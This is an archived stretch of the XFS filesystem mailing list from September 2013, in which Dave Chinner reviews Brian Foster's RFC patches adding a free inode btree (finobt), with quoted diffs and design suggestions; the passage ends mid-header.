Foster wrote: > The introduction of the free inode btree (finobt) requires that > xfs_ialloc_btree.c handle multiple trees. Refactor xfs_ialloc_btree.c > so the caller specifies the btree type on cursor initialization to > prepare for addition of the finobt. > > Signed-off-by: Brian Foster Simple enough, obvious place to start. :) Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 19:39:06 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1C15429DFB for ; Wed, 4 Sep 2013 19:39:06 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id E5CF2304084 for ; Wed, 4 Sep 2013 17:39:05 -0700 (PDT) X-ASG-Debug-ID: 1378341543-04bdf02f22d86b00001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id 05MeiGGdAt2hlEly for ; Wed, 04 Sep 2013 17:39:04 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArYGAIDRJ1J5LJ62/2dsb2JhbABbgweDRblNhTqBKBd0giQBAQUnExwjEAgDDgoJJQ8FJQMhE4gBujUWjX+BSweEHQOXdJFngWOBTyqBLA Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 10:09:03 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHNbC-0008Q0-Hc; Thu, 05 Sep 2013 10:39:02 +1000 Date: Thu, 5 Sep 2013 10:39:02 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt Message-ID: <20130905003902.GP23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 02/11] xfs: reserve v5 superblock read-only compat. feature bit for finobt References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-3-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-3-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378341543 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140350 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:24:59PM -0400, Brian Foster wrote: > Reserve a v5 read-only compatibility feature bit for the finobt and > create the xfs_sb_version_hasfinobt() helper to determine whether > an fs has the feature enabled. > > The finobt does not change existing on-disk structures, but must > remain consistent with the ialloc btree. Modifications from older > kernels would violate that constrant. Therefore, we restrict older > kernels to read-only mounts of finobt-enabled filesystems. > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_sb.h | 10 +++++++++- > 1 file changed, 9 insertions(+), 1 deletion(-) > > diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h > index 6835b44..c48d95d 100644 > --- a/fs/xfs/xfs_sb.h > +++ b/fs/xfs/xfs_sb.h > @@ -585,7 +585,9 @@ xfs_sb_has_compat_feature( > return (sbp->sb_features_compat & feature) != 0; > } > > -#define XFS_SB_FEAT_RO_COMPAT_ALL 0 > +#define XFS_SB_FEAT_RO_COMPAT_FINOBT (1 << 0) /* free inode btree */ > +#define XFS_SB_FEAT_RO_COMPAT_ALL \ > + (XFS_SB_FEAT_RO_COMPAT_FINOBT) > #define XFS_SB_FEAT_RO_COMPAT_UNKNOWN ~XFS_SB_FEAT_RO_COMPAT_ALL The only thing I'd suggest here is that the last patch in the series should add the XFS_SB_FEAT_RO_COMPAT_FINOBT bit to the XFS_SB_FEAT_RO_COMPAT_ALL mask. Otherwise we can have the problem of bisects landing in the middle of the series and thinking that the feature is fully supported when it isn't. So it's fine to add the xfs_sb_version_hasfinobt() helper here and define the bit but don't add it to the supported mask until all the changes for the feature are complete. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 19:54:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E62277F5D for ; Wed, 4 Sep 2013 19:54:34 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9FF16304064 for ; Wed, 4 Sep 2013 17:54:34 -0700 (PDT) X-ASG-Debug-ID: 1378342472-04bdf02f21d87140001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id dqFTYwSEaCzdqQK0 for ; Wed, 04 Sep 2013 17:54:32 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArcGAM7UJ1J5LJ62/2dsb2JhbABbgweDRblNhTqBKBd0giQBAQQBJxMcIwULCAMOCgkMGQ8FJQMhE4d8Bbo5Fo9KBwqEEwOXdIowhzeDMio Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 10:24:31 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHNq8-0008RV-PJ; Thu, 05 Sep 2013 10:54:28 +1000 Date: Thu, 5 Sep 2013 10:54:28 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type Message-ID: <20130905005428.GQ23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 03/11] xfs: support the XFS_BTNUM_FINOBT free inode btree type References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-4-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-4-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378342472 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 2.60 X-Barracuda-Spam-Status: No, SCORE=2.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MV0249, MARKETING_SUBJECT X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.60 MARKETING_SUBJECT Subject contains popular marketing words 2.00 BSF_SC0_MV0249 Custom rule MV0249 On Tue, Sep 03, 2013 at 02:25:00PM -0400, Brian Foster wrote: > Define the AGI fields for the finobt root/level and add magic > numbers. Update the btree code to add support for the new > XFS_BTNUM_FINOBT inode btree. > > The finobt root block is reserved immediately following the inobt > root block in the AG. Update XFS_PREALLOC_BLOCKS() to determine the > starting AG data block based on whether finobt support is enabled. A few minor things... > > Signed-off-by: Brian Foster > --- > fs/xfs/xfs_ag.h | 7 ++++++- > fs/xfs/xfs_btree.c | 6 ++++-- > fs/xfs/xfs_btree.h | 3 +++ > fs/xfs/xfs_ialloc.c | 2 ++ > fs/xfs/xfs_ialloc_btree.c | 29 +++++++++++++++++++++++------ > fs/xfs/xfs_ialloc_btree.h | 14 +++++++++++++- > fs/xfs/xfs_log_recover.c | 2 ++ > fs/xfs/xfs_stats.h | 18 +++++++++++++++++- > fs/xfs/xfs_types.h | 2 +- > 9 files changed, 71 insertions(+), 12 deletions(-) > > diff --git a/fs/xfs/xfs_ag.h b/fs/xfs/xfs_ag.h > index 1cb740a..b85585d 100644 > --- a/fs/xfs/xfs_ag.h > +++ b/fs/xfs/xfs_ag.h > @@ -166,6 +166,9 @@ typedef struct xfs_agi { > __be32 agi_pad32; > __be64 agi_lsn; /* last write sequence */ > > + __be32 agi_free_root; /* root of the free inode btree */ > + __be32 agi_free_level;/* levels in free inode btree */ > + > /* structure must be padded to 64 bit alignment */ > } xfs_agi_t; That's fine, but... > > @@ -180,7 +183,9 @@ typedef struct xfs_agi { > #define XFS_AGI_NEWINO 0x00000100 > #define XFS_AGI_DIRINO 0x00000200 > #define XFS_AGI_UNLINKED 0x00000400 > -#define XFS_AGI_NUM_BITS 11 > +#define XFS_AGI_FREE_ROOT 0x00000800 > +#define XFS_AGI_FREE_LEVEL 0x00001000 > +#define XFS_AGI_NUM_BITS 13 > #define XFS_AGI_ALL_BITS ((1 << XFS_AGI_NUM_BITS) - 1) This is a bit of a problem, because the range logging bits will now cause the entire AGI to be logged (including all the unlinked list hash) because these only define the first/last offsets to be logged... > diff --git a/fs/xfs/xfs_ialloc.c b/fs/xfs/xfs_ialloc.c > index 524aa88..5ced506 100644 > --- a/fs/xfs/xfs_ialloc.c > +++ b/fs/xfs/xfs_ialloc.c > @@ -1505,6 +1505,8 @@ xfs_ialloc_log_agi( > offsetof(xfs_agi_t, agi_newino), > offsetof(xfs_agi_t, agi_dirino), > offsetof(xfs_agi_t, agi_unlinked), > + offsetof(xfs_agi_t, agi_free_root), > + offsetof(xfs_agi_t, agi_free_level), > sizeof(xfs_agi_t) > }; Because of how this table works. What we really need here is for xfs_ialloc_log_agi to consider that there are two distinct regions for range logging - the first spaces from offset 0 to offset of agi_unlinked, and the second is from the the offset of agi_free_root to the end of the xfs_agi_t.... It's abit messy, I know, but we couldn't easily add new padding to the AGI in the existing range logging area like was done for the AGF because of the unlinked list hash table already defining the end of the range logging region.... > #ifdef DEBUG > diff --git a/fs/xfs/xfs_ialloc_btree.c b/fs/xfs/xfs_ialloc_btree.c > index 0cdb88b..7923292 100644 > --- a/fs/xfs/xfs_ialloc_btree.c > +++ b/fs/xfs/xfs_ialloc_btree.c > @@ -62,10 +62,18 @@ xfs_inobt_set_root( > { > struct xfs_buf *agbp = cur->bc_private.a.agbp; > struct xfs_agi *agi = XFS_BUF_TO_AGI(agbp); > - > - agi->agi_root = nptr->s; > - be32_add_cpu(&agi->agi_level, inc); > - xfs_ialloc_log_agi(cur->bc_tp, agbp, XFS_AGI_ROOT | XFS_AGI_LEVEL); > + int fields; > + > + if (cur->bc_btnum == XFS_BTNUM_INO) { > + agi->agi_root = nptr->s; > + be32_add_cpu(&agi->agi_level, inc); > + fields = XFS_AGI_ROOT | XFS_AGI_LEVEL; > + } else { > + agi->agi_free_root = nptr->s; > + be32_add_cpu(&agi->agi_free_level, inc); > + fields = XFS_AGI_FREE_ROOT | XFS_AGI_FREE_LEVEL; > + } > + xfs_ialloc_log_agi(cur->bc_tp, agbp, fields); > } I suspect that it would be better to have separate functions for these differences i.e. xfs_inobt_set_root() and xfs_finobt_set_root(), and set up separate btree ops structure forthe two different trees. Most of the code is still identical, but the differences in root structures can easily be handled without putting switches in the code everywhere. > > STATIC int > @@ -172,7 +180,10 @@ xfs_inobt_init_ptr_from_cur( > > ASSERT(cur->bc_private.a.agno == be32_to_cpu(agi->agi_seqno)); > > - ptr->s = agi->agi_root; > + if (cur->bc_btnum == XFS_BTNUM_INO) > + ptr->s = agi->agi_root; > + else > + ptr->s = agi->agi_free_root; > } Like this... > > STATIC __int64_t > @@ -205,6 +216,7 @@ xfs_inobt_verify( > */ > switch (block->bb_magic) { > case cpu_to_be32(XFS_IBT_CRC_MAGIC): > + case cpu_to_be32(XFS_FIBT_CRC_MAGIC): > if (!xfs_sb_version_hascrc(&mp->m_sb)) > return false; > if (!uuid_equal(&block->bb_u.s.bb_uuid, &mp->m_sb.sb_uuid)) > @@ -216,6 +228,7 @@ xfs_inobt_verify( > return false; > /* fall through */ > case cpu_to_be32(XFS_IBT_MAGIC): > + case cpu_to_be32(XFS_FIBT_MAGIC): > break; > default: > return 0; > @@ -335,8 +348,12 @@ xfs_inobt_init_cursor( > > cur->bc_tp = tp; > cur->bc_mp = mp; > - cur->bc_nlevels = be32_to_cpu(agi->agi_level); > cur->bc_btnum = btnum; > + if (btnum == XFS_BTNUM_INO) > + cur->bc_nlevels = be32_to_cpu(agi->agi_level); > + else > + cur->bc_nlevels = be32_to_cpu(agi->agi_free_level); > + > cur->bc_blocklog = mp->m_sb.sb_blocklog; > > cur->bc_ops = &xfs_inobt_ops; And this is where you do the check on the btnum and set the appropriate ops structure.... > #define XFS_INODES_PER_CHUNK (NBBY * sizeof(xfs_inofree_t)) > @@ -73,7 +75,17 @@ typedef __be32 xfs_inobt_ptr_t; > * block numbers in the AG. > */ > #define XFS_IBT_BLOCK(mp) ((xfs_agblock_t)(XFS_CNT_BLOCK(mp) + 1)) > -#define XFS_PREALLOC_BLOCKS(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) > +#define XFS_FIBT_BLOCK(mp) ((xfs_agblock_t)(XFS_IBT_BLOCK(mp) + 1)) > + > +/* > + * The first data block of an AG depends on whether the filesystem was formatted > + * with the finobt feature. If so, account for the finobt reserved root btree > + * block. > + */ > +#define XFS_PREALLOC_BLOCKS(mp) \ > + (xfs_sb_version_hasfinobt(&((mp)->m_sb)) ? \ > + XFS_FIBT_BLOCK(mp) + 1 : \ > + XFS_IBT_BLOCK(mp) + 1) Yup, that looks sensible, with a nice comment to explain it :) > diff --git a/fs/xfs/xfs_stats.h b/fs/xfs/xfs_stats.h > index c03ad38..c8f238b 100644 > --- a/fs/xfs/xfs_stats.h > +++ b/fs/xfs/xfs_stats.h > @@ -183,7 +183,23 @@ struct xfsstats { > __uint32_t xs_ibt_2_alloc; > __uint32_t xs_ibt_2_free; > __uint32_t xs_ibt_2_moves; > -#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_IBT_V2+6) > +#define XFSSTAT_END_FIBT_V2 (XFSSTAT_END_IBT_V2+15) > + __uint32_t xs_fibt_2_lookup; > + __uint32_t xs_fibt_2_compare; > + __uint32_t xs_fibt_2_insrec; > + __uint32_t xs_fibt_2_delrec; > + __uint32_t xs_fibt_2_newroot; > + __uint32_t xs_fibt_2_killroot; > + __uint32_t xs_fibt_2_increment; > + __uint32_t xs_fibt_2_decrement; > + __uint32_t xs_fibt_2_lshift; > + __uint32_t xs_fibt_2_rshift; > + __uint32_t xs_fibt_2_split; > + __uint32_t xs_fibt_2_join; > + __uint32_t xs_fibt_2_alloc; > + __uint32_t xs_fibt_2_free; > + __uint32_t xs_fibt_2_moves; > +#define XFSSTAT_END_XQMSTAT (XFSSTAT_END_FIBT_V2+6) > __uint32_t xs_qm_dqreclaims; > __uint32_t xs_qm_dqreclaim_misses; > __uint32_t xs_qm_dquot_dups; I didn't see an equivalent change to add these new stats to the proc file output (ie. in xfs_stat_proc_show()). maybe I just missed it, but if I didn't, can you add it? Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 19:59:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C3D3729DFB for ; Wed, 4 Sep 2013 19:59:54 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id AE78A8F8050 for ; Wed, 4 Sep 2013 17:59:51 -0700 (PDT) X-ASG-Debug-ID: 1378342789-04cb6c153dd58570001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id SBttVJmgzS4ohC9o for ; Wed, 04 Sep 2013 17:59:50 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArYGAADWJ1J5LJ62/2dsb2JhbABbgweDRblNhTqBKBd0giQBAQQBOhwjBQsIAw4KCQwZDwUlAyETh3wFujkWj0oHCoQTA5d0kWeBY4FPKg Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 10:29:49 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHNvG-0008S5-Ml; Thu, 05 Sep 2013 10:59:46 +1000 Date: Thu, 5 Sep 2013 10:59:46 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 04/11] xfs: update inode allocation transaction reservations for finobt Message-ID: <20130905005946.GR23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 04/11] xfs: update inode allocation transaction reservations for finobt References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-5-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-5-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378342789 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:25:01PM -0400, Brian Foster wrote: > Update inode allocation transaction reservations for the finobt. A > create via record modification requires a log reservation for the > additional finobt record. Any such allocation could result in an > finobt removal if the inode chunk has become fully allocated, thus > we include a reservation for a finobt btree merge as well. > Allocation of a new inode chunk must account for splits in the > finobt as well as the existing ialloc tree. These transaction reservation changes are only necessary for filesystems with free inode btrees, otherwise they just use more log space than is necessary. Can you add helper functions for the free inode btree reservations, and have them return 0 when the feature is not enabled? That way the code stays pretty clean, is self documenting and doesn't take unnecessary space when the feature is not enabled.... > Also update XFS_IALLOC_SPACE_RES() to reserve data blocks for > finobt split/merge scenarios. Needs to handle the enabled/disabled case, too. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 20:00:42 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 935D429DFB for ; Wed, 4 Sep 2013 20:00:42 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7CADD8F804C for ; Wed, 4 Sep 2013 18:00:42 -0700 (PDT) X-ASG-Debug-ID: 1378342840-04cb6c153dd58610001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id kXOG8oIXLGtNuWar for ; Wed, 04 Sep 2013 18:00:41 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArYGACfXJ1J5LJ62/2dsb2JhbABbgweDRblNhTqBKBd0giQBAQU6HCMQCAMOCgklDwUlAyETiAG6PhaPSgeEHQOXdJFngzIq Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 10:30:40 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHNw4-0008Sx-R0; Thu, 05 Sep 2013 11:00:36 +1000 Date: Thu, 5 Sep 2013 11:00:36 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 05/11] xfs: update ifree transaction reservations for finobt Message-ID: <20130905010036.GS23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 05/11] xfs: update ifree transaction reservations for finobt References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-6-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-6-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378342840 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:25:02PM -0400, Brian Foster wrote: > Update the ifree transaction log reservations to support the > finobt. An inode free can now mean an extra record modification, > record removal (i.e., inode chunk being freed) or a record > insertion (i.e., a previously full inode chunk). > > Define XFS_IFREE_SPACE_RES() for the inactive transaction to > reserve data blocks for possible finobt merge/split situations. Same comment about doing this with helper functions... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 20:35:43 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 533CE29DFC for ; Wed, 4 Sep 2013 20:35:43 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 42EEB8F8040 for ; Wed, 4 Sep 2013 18:35:40 -0700 (PDT) X-ASG-Debug-ID: 1378344938-04cb6c2e9fd5dcb0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id JRvelcPSGf8oJs0z for ; Wed, 04 Sep 2013 18:35:38 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApYNAJHfJ1J5LJ62/2dsb2JhbABbgwc1gxCqTAOOfoU6gSgXdIIkAQEFJxMcIxAIAw4KCSUPBSUDIROIAQ26LRaMd4JTB4QdA5d0ijCHN4FjgU8q Received: from ppp121-44-158-182.lns20.syd7.internode.on.net (HELO dastard) ([121.44.158.182]) by ipmail05.adl6.internode.on.net with ESMTP; 05 Sep 2013 11:05:23 +0930 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VHOTf-0008WR-Fa; Thu, 05 Sep 2013 11:35:19 +1000 Date: Thu, 5 Sep 2013 11:35:19 +1000 From: Dave Chinner To: Brian Foster Cc: xfs@oss.sgi.com Subject: Re: [RFC PATCH 06/11] xfs: use correct transaction reservations in xfs_inactive() Message-ID: <20130905013519.GT23571@dastard> X-ASG-Orig-Subj: Re: [RFC PATCH 06/11] xfs: use correct transaction reservations in xfs_inactive() References: <1378232708-57156-1-git-send-email-bfoster@redhat.com> <1378232708-57156-7-git-send-email-bfoster@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1378232708-57156-7-git-send-email-bfoster@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1378344938 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140351 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Sep 03, 2013 at 02:25:03PM -0400, Brian Foster wrote: > The transaction allocated in xfs_inactive() can be passed down into > xfs_inactive_symlink() or xfs_itruncate_extents(), both of which > can commit and reallocate a new transaction. This leads to > reservation issues if the transaction is subsequently passed into > xfs_ifree(), which requires a larger reservation to manage the > finobt. > > Reorganize xfs_inactive() to commit any transaction handed back > from symlink or truncate processing and unconditionally allocate > a new transaction for xfs_ifree() with the appropriate reservation. Ok, I've had a bit of a look at this now, and I like how the code turns out. However, I don't think it goes far enough, or fix the problem that causes all the transaction nastiness in xfs_inactive(). Firstly, we are not doing rolling transactions here - there is no need for all the changes to be atomic because the inode is on the unlinked list if it is going to be freed. Hence we don't need to pass transaction pointers around. xfs_inactive_symlink() can do a transaction completely internally, and, well, it doesn't even log the inode if the symlink is in-line and so may not even need a transaction. Hence really only xfs_inactive_symlink_rmt() needs to run a transaction, and it can do that internally just fine. For the xfs_itruncate_extents() data fork transaction, just add a new wrapper called xfs_inactive_truncate() that holds the transaction context internally - that moves the only other transaction context that you need to commit out of xfs_inactive() altogether, as the attr fork already uses a private transaction context. And, finally, you can then factor the xfs_ifree() and it's transaction context into a helper function as well, so there aren't any transaction contexts left in xfs_inactive() at all. That would leave us with: if (ISLNK) { error = xfs_inactive_symlink(ip); } else if (truncate) error = xfs_inactive_truncate(ip); } if (error) goto out; if (ip->i_d.di_anextents > 0) error = xfs_attr_inactive(ip); if (error) goto out; error = xfs_inactive_ifree(ip); xfs_qm_dqdetach(ip); out: return; This gives us a natural separation of the different transaction reservations and contexts needed to perform the operations, and does result in any extraneous work being done because we don't know what the transaction context passed to us contains at all... FWIW, there are other reasons for suggesting this structure - have a read of "[RFD 14/17] xfs: separate inode freeing from inactivation" and you'll see that what I've suggested above sets the code up for implementing the optimisations documented in the RFD. http://oss.sgi.com/archives/xfs/2013-08/msg00345.html It might be best to put this as 3-4 patches at the start of the series, rather than in the middle of it as it's really a separate piece of cleanup work.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Sep 4 20:40:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id E11EF29DFC for ; Wed, 4 Sep 2013 20:40:46 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 7FDDAAC003 for ; Wed, 4 Sep 2013 18:40:43 -0700 (PDT) X-ASG-Debug-ID: 1378345238-04bdf02f23d886f0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id tCtYW18ub3S7ls3B for ; Wed, 04 Sep 2013 18:40:40 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: 